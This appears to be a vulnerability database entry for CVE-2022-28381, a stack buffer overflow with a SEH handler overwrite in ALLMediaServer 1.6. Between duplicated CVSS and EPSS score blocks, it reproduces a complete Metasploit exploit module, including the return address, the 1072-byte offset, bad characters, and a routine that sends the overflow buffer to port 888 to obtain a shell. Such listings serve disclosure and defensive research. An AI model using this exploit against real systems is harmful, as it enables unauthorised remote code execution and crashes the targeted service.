CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
Low
EPSS
Percentile
98.2%
This module exploits a stack buffer overflow leading to a SEH handler overwrite in ALLMediaServer 1.6. The vulnerability is caused due to a boundary error within the handling of a HTTP request. Note that this exploit will only work against x86 or WoW64 targets, x64 is not supported at this time.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Seh
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ALLMediaServer 1.6 SEH Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow leading to a SEH handler overwrite
in ALLMediaServer 1.6. The vulnerability is caused due to a boundary error
within the handling of a HTTP request. Note that this exploit will only work
against x86 or WoW64 targets, x64 is not supported at this time.
},
'License' => MSF_LICENSE,
'Author' => [
'Hejap Zairy Al-Sharif', # Aka @Matrix07ksa. Remote exploit and Metasploit module
],
'DefaultOptions' => {
'EXITFUNC' => 'process'
},
'Platform' => 'win',
'Arch' => [ARCH_X86],
'Payload' => {
'BadChars' => '\x00\x0a\x0d\xff'
},
'Targets' => [
[
'ALLMediaServer 1.6',
{
'Ret' => 0x0040590B, # POP ESI # POP EBX # RET
'Offset' => 1072
}
],
],
'Privileged' => false,
'DisclosureDate' => '2022-04-01',
'DefaultTarget' => 0,
'References' => [
['CVE', '2022-28381'],
['URL', 'https://github.com/Matrix07ksa/ALLMediaServer-1.6-Buffer-Overflow']
],
'Notes' => {
'Stability' => [CRASH_SERVICE_DOWN], # If this fails the service will go down and will not restart.
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([Opt::RPORT(888)])
end
def exploit
connect
buffer = ''
buffer << make_nops(target['Offset'])
buffer << generate_seh_record(target.ret)
buffer << make_nops(100)
buffer << payload.encoded
buffer << make_nops(50)
print_status('Sending payload to exploit MediaServer...')
sock.put(buffer)
print_status('Sent payload...hopefully we should get a shell!')
handler
disconnect
end
end
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
Low
EPSS
Percentile
98.2%